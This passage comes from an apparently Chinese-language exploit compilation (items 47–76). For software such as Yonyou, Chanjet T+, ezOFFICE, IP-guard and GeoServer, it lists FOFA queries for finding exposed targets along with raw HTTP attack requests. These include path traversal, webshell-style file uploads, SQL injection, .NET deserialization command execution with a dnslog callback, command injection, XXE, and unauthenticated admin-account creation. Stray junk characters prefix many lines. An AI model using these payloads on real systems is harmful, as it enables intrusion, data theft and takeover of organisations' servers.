! @. C, u/ d6 \3 P6 x6 u- y( }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
1 Z; F$ u% C7 M8 R+ N) P. ?8 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
; M( d. E8 n- ~5 R% Z, g% DFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
- i0 Q( M. J, O! Y! D. A0 c/ ]Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
2 R/ A* O2 {( F+ eAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
' h3 P, k1 q$ c8 g2 h: k7 |, OConnection: close
4 n) x- ?- O+ P$ S7 n; U

- h) a" F% ]7 D+ ^$ P/ a
+ j2 S5 u9 Z) z, E3 i48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
. w9 P3 U! |+ q3 f------269520967239406871642430066855
' a0 z  X! _  w2 P/ p; z: YContent-Disposition: form-data; name="file"; filename="s.php"
1231
5 M7 M3 w4 ~( v5 `2 L) l0 kContent-Type: application/octet-stream
------269520967239406871642430066855
9 `3 V& }2 K! k+ }. N% t! hContent-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--

& b2 g0 I) ?* `0 T2 p
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
3 r, v7 [/ e3 e% _: wFOFA：body="用友U8CRM"
% f) C8 G- p: P+ ?
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
. {6 n! f0 j9 u# {7 h1 LHost: x.x.x.x
; ?& @' B6 c" n8 h9 i) f; {% EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 C5 @% }) L, f& E, rContent-Length: 329
9 s* @2 ?6 Q3 I5 }+ s3 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% ?( K; A$ N& f0 d3 z: HAccept-Encoding: gzip, deflate
9 S9 c8 R8 e+ \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

8 j! H. H, Z1 p1 |5 M$ H& U-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

' r1 J* B, ^# j: z. R5 ]wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
' @/ _2 c) W. \3 I# g9 V, e, mContent-Disposition: form-data; name="upload"
0 x  h' `% Y/ z. x, v
9 ~9 e/ g% s* @; Q8 ~( T* cupload
-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php

' X1 P( @- ~( E50. QDocs Smart School 6.4.1 filterRecords SQL注入
! f" z* \* G/ i1 s0 LFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
# y& |( V5 E: ]4 N) dConnection: close
. ?; g5 s, f$ J4 v: M( WContent-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
, m3 `) Q+ O) _+ kAccept-Encoding: gzip

: q  p& _. K+ k) x$ C; v  wsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
) w5 v/ _6 e8 a( @6 }2 q

0 u5 e7 R& O, X* z& {) P51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
0 z# N( H/ x! p5 KFOFA：app="云时空社会化商业ERP系统"
$ Z6 @5 _  F0 q# Z9 D8 s6 _GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
' Q) {5 ?" f: Q) [- PHost: your-ip
2 Z( k9 N7 B  b5 v0 z' F+ NUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
/ N& B0 y3 ?1 V+ ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 `, y4 p. i' \; k' t/ [0 u/ l0 rAccept-Encoding: gzip, deflate
  f% l) j# v* `# R; F( VAccept-Language: zh-CN,zh;q=0.9
Connection: close

5 O. ~( E0 ^" ^
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
  H; \  M' I, ~' p3 s- vPOST /building/json_common.php HTTP/1.1
' {' T9 M) l, y* G. U; MHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
* e( O1 b; B% f7 S! FAccept: */*
3 x! }6 X: f, o: i" K7 Z1 G, ~  \Accept-Language: en
& H: t& l8 `4 \. U& s0 }2 N+ @, EContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
5 ]! V& w  g- M/ z4 F! X
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


. \5 G6 M3 t: F& ]" c53. 迪普 DPTech VPN Service 任意文件上传
, d4 \/ ?8 ~3 H  e" UFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
* G% Y9 _7 m+ Q) i, U

+ U4 P8 G/ v# |6 O54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
4 o2 V. b! m( L: @* _$ b. G第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
( [- J' F5 W+ I

完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
0 X7 \9 N: A" A* F* HHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
, M7 o/ M$ _# [. H& v
+ D/ _/ x6 o' l; J5 b: x. u  E5 f1 T{
- }7 E( K+ ]1 h9 n* s+ o) B"storeID":{
1 m5 f7 X. L4 T' d+ a "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
# t8 K9 Q* [5 L! A+ n "MethodName":"Start",
  "ObjectInstance":{
6 p- f; q; @9 r/ m! e( ?. H) Y7 B   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- Y! y& N4 q# x3 `& y' m2 l    "StartInfo":{
( Q) P+ S: f: g$ D   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
) e  Y2 y7 F' ~1 c5 Z/ O' F    "FileName":"cmd",
& l# @1 z8 ^6 u" _    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
! r+ p: }7 k$ h0 ?    }
/ t+ w' `# T1 D; J4 }' Q  }
  }
- L- q; S5 a: i& _, X; w}


  f) i8 r6 v4 l, S; b& I) A第二步，访问如下url
2 O4 l) Y: l% Q: w, P8 V0 ~( l! Y" y/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
5 T/ t8 P+ `1 c% s
) x( A5 Y9 w6 j
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
% u0 u% F+ F+ p% g% V2 V- Y第一步，通过
# c* X4 R& B! ]' L/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
- N5 X$ `" w& l第二步，利用获取到的Cookie请求
( y. n4 n, S3 X. @9 X/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
/ _( r% S' d! o+ R3 u
! w! u& P% Y6 Y* C) ~56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
, _$ ?& L2 O+ U) `FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
; ^& F3 w5 U! W) C$ s  K; ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
8 o* F' w! x6 h' r  r5 y+ Q/ |$ I
  B4 P5 D  d3 ?- K/ R{
  "storeID":{
0 s" N% s% O! @) d3 N* H    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
2 ?, _7 U, u2 q; d+ _   "MethodName":"Start",
$ L- `( j: t) \+ T/ G    "ObjectInstance":{
5 [2 k2 a" Q6 R8 Y( N6 u- X' Q5 M7 }       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
( K/ `6 {1 ~& p3 _% l) Z) _6 m           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
1 M6 B" s5 ~' w. Y3 A       }
0 u4 d- Z/ U1 u3 q" @# j# O. {2 B    }
( v  n4 O- E$ F; ~  Q/ ~# v/ u  }
5 i. h6 `" B9 f3 F3 R3 H}
' o% T6 y' x- d5 c' _: S3 c+ q/ I

57. 畅捷通T+ keyEdit.aspx SQL注入
" M/ ?7 i: a3 ~" ]5 tFOFA：app="畅捷通-TPlus"
5 w* v1 ~" H5 v' p0 r: c' j# f5 VGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
( q" p+ z; p! U* @/ LHost: host
- x% ~( s! f* k! {User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
) e& h& m' |5 g1 m/ P% g) w+ fAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
1 Q, ~" I/ m0 s0 O) vConnection: close

; Y/ L, v! G& h- f
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
8 g) L1 `4 {% Z6 M) x5 ~. EGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
0 v2 S/ A- T( ?, a  `6 {User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
7 p, A! B# r9 ~' N5 z

* x, A1 V. m3 {59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
* |, y; _. ~( }FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
6 z  n- T4 t% m' r# p* F" GPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
- ?0 U2 Y7 @) z. hUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
3 O  ^) w, M! v# d6 s1 YConnection: close
Content-Length: 1669
  G2 Z1 T2 c. j$ b3 kAccept: */*
2 d/ R3 L5 R8 r. k+ j1 ]) ^- DAccept-Language: en
Content-Type: application/x-www-form-urlencoded
5 l% d$ ?* ]4 w3 }, v+ ^6 \Accept-Encoding: gzip

  Z7 f5 x1 g& q3 B, XPAYLOAD
) F$ j* q, l# _( g

60. 百卓Smart管理平台 importexport.php SQL注入
  W8 ]; [; u0 A) h5 `0 TFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
; R* Q) P# A/ Q! c; z9 M" nHost:
, {8 \+ Y4 G4 {1 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 _5 C8 O' E: j4 }3 C8 s' K( IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' `# Q. a! |% O' z1 zConnection: close

% D$ p' B: q+ P
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
+ U8 {3 e4 D8 t' X/ JFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
- ~7 P' I8 u/ X, @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
5 ]2 i: h) q; ~, t# X. J3 f, |7 QAccept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

$ d7 x4 P  I0 E- k. E, ^  S8uxssX66eqrqtKObcVa0kid98xa
7 @0 ?% b7 A2 E: V

62. IP-guard WebServer 远程命令执行
0 P' ^. e' _4 E8 V0 b( HFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
% x  \6 W; j8 V0 V* sHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
1 v& k2 g: F  o, iAccept: */*
Accept-Language: en
Accept-Encoding: gzip
# B% W5 w+ {" K! J' @3 A

访问

4 f* v6 ^  {2 L; C3 p5 F* Z9 YGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


- D; ~6 R% J% Y" }, T" b63. IP-guard WebServer任意文件读取
  F8 P+ c6 B( L4 v. \IP-guard < 4.82.0609.0
0 t2 k; {6 O* r& @3 N- UFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
8 {  q! n) t/ Z# nHost: your-ip
) Y9 a/ E5 i5 g$ }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. H0 `+ m) U" p6 h. |5 K( D9 _Accept-Language: zh-CN,zh;q=0.9
* Q: x, V" Y; M8 y( A8 R+ O9 VConnection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

, E5 l/ k5 \; n$ Z. \" y& t64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
- ?+ m4 U; Q, T4 R, qPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
' d' \2 Y& K; q7 B. u( JHost: 192.168.86.128:9001
- P9 m6 ^8 e$ _2 s+ T3 q/ q* {# CUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
& ]; D% B" g! H  \3 jContent-Length: 369
Accept: */*
2 w" r/ h& D# o8 M' jAccept-Language: en
; v# f9 V- P; l- }Content-Type: text/xml; charset=utf-8
0 I: n5 z& Y3 n. e- Y2 N0 }- U+ |% [Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
6 F6 t' w# Q3 N6 a3 t& s- Z6 n( h. x<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
% g1 f# G& h0 Q4 l, P1 M; D6 @4 h) a/ F    </GetOSpById>
) u4 x" P3 a. S8 e$ w' z/ Y  </soap:Body>
, A$ |0 A3 ^9 d1 O</soap:Envelope>
+ i! L" k' Q# T5 J
: G5 Y" }" T/ D# k* f* a
  v5 c) n+ |; o8 G# y65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
0 R. {6 N% n3 r; r) E% vFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
% U- @0 ?. t6 z2 G& `Accept-Encoding: gzip, deflate
0 {& C2 U6 {: t- H2 S4 yAccept: */*
Connection: close
Accept-Language: en
/ H9 j$ g3 {% X! x* H0 q0 [' OContent-Length: 174
2 ?( b0 W8 }& y- n* m& G/ j
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
% ?  O9 c" {* C' `: w4 n- T
' U/ w; O% f$ e- U$ T$ n8 {
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
; g5 b3 P7 X  GFOFA：app="万户ezOFFICE协同管理平台"

" w6 ^) |" s' ^GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
& c( e" K4 A1 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
' l# A2 r% Z, _- ~Accept: */*
Accept-Language: en
% l+ S% F$ }  W4 m  y2 O" b# X( IAccept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
9 j3 W4 b+ \( {3 f1 ?/ ~# l; e
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
. L! T  N" r5 _9 r- NPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
& Y# R8 X  d. a+ L2 |% w- wUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
; d8 g# w( H. a  f9 z) GContent-Length: 173
0 q. N3 S3 b0 f6 fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
: y- \1 K; d& n, D) v9 J; ?Accept-Encoding: gzip, deflate
/ ?% K) o5 @4 O* a6 Y  N' r' LAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
  [; b1 Q+ M: T5 vContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
( _8 K% S9 m1 H- y" _. {DNT: 1
( {; a9 t) _# M. I, S$ }2 J2 c6 sUpgrade-Insecure-Requests: 1
$ D8 R  J* U5 B2 [$ w
* F0 ?; Q* a/ ~8 F--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
7 T9 ?1 z) N7 W" d
<% out.print("sasdfghjkj");%>
% B: T0 L# I& ^) |' e--ufuadpxathqvxfqnuyuqaozvseiueerp--


, l; I' T+ @3 e文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
. u% E  R& z5 H0 i/ P7 Z( n& OFOFA：app="万户ezOFFICE协同管理平台"
" B) Q* K& }5 a+ T  m1 t& iGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
$ [! e9 q$ @( c  G8 I' DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
+ _$ j. X  X: U  F4 e# f! sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& \' R: p! }. }# o" b  ~% KConnection: close

) [+ J. `. F" A" J
69. 万户 ezOFFICE contract_gd.jsp SQL注入
2 ]7 U6 |9 c% F' P* r  aFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
+ j0 }2 C6 x5 K; [2 w+ _Host: your-ip
3 Z9 z4 R$ i5 H) u7 y( H2 ?& mUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
$ m$ A0 w- X; Y9 s8 VAccept: */*
Connection: keep-alive
- @4 z: I0 K# T9 e) I+ n+ f' k

7 ^' c' N! C+ {3 W70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
. g8 M  e# u" W7 S! ?( ZPOST /member/success.aspx HTTP/1.1
5 r1 m( L0 e6 W" q( o" X' BHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5 L' }4 v3 y) u. M/ ]% w$ Y3 FSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
+ q$ H* |3 a7 fContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702
% o2 `6 [( U' R8 y& d0 h
6 m( t- }& v  Z6 g) Z. C__VIEWSTATE=PAYLOAD
* }; b6 E3 G+ [& u. `- j  A
7 r4 c# p# H6 x6 B  q- w
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
/ d, q3 }+ U' B' [& mFOFA：body="PM2项目管理系统BS版增强工具.zip"
; Q, l$ O: b: s' D4 I. gGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
7 q! e  G" |2 t1 E1 }Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
* R1 n- Z1 z3 }2 Q( _/ R* VConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
# n, a) p/ A5 Q  x, X4 [, JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" c  H+ B. f5 m( c1 C" ?' IUpgrade-Insecure-Requests: 1


9 M8 R6 F9 g& V' f" V# w. u9 |% V" N72. 致远OA getAjaxDataServlet XXE
; {2 V; g1 r  SFOFA：app="致远互联-OA"
6 @, t0 w' ]8 Y. sPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
; ]" f. m& m6 i. w: d3 ?User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
' O( U! G9 \! r  ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

4 G% ?2 l4 t. r" E5 t  PS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
  l7 o2 m# J" `- f* A1 \) Y

73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
* `9 o7 v/ P; E2 _% xHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
6 ]/ X6 ?8 D% q" ~SL-CE-SUID: 3
0 C& U, N# ?2 M; \( J
PAYLOAD

, X3 L1 c$ b* V" Q" {3 A0 y
74. 致远M3-server 6_1sp1 反序列化RCE
4 m% q, ~) v- e: H6 G% ]0 UFOFA：title="M3-Server"
6 A# H) H: {, M' d6 }PAYLOAD

) P! B) k! Z+ E4 {  n4 ~$ t0 u75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
. p6 X2 y3 L  C3 TFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
+ y; D$ N  H# l5 ]9 s/ @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% l2 S+ E/ g: o( i( `* fConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


4 c; u- r# n3 }1 u) ^$ r4 G% cGET /cgi-bin/test28256.txt HTTP/1.1
& O( q9 J& ^5 K" r% F( N. d/ VHost: x.x.x.x


  |6 X) c  Y" [! j% D2 d* J  K76. 新开普掌上校园服务管理平台service.action远程命令执行
$ \9 q0 x" i! D7 S1 cFOFA：title="掌上校园服务管理平台"
2 b4 W; j9 c  t$ z! H8 _) }POST /service_transport/service.action HTTP/1.1
. o1 q3 |0 ~7 ^  g2 IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
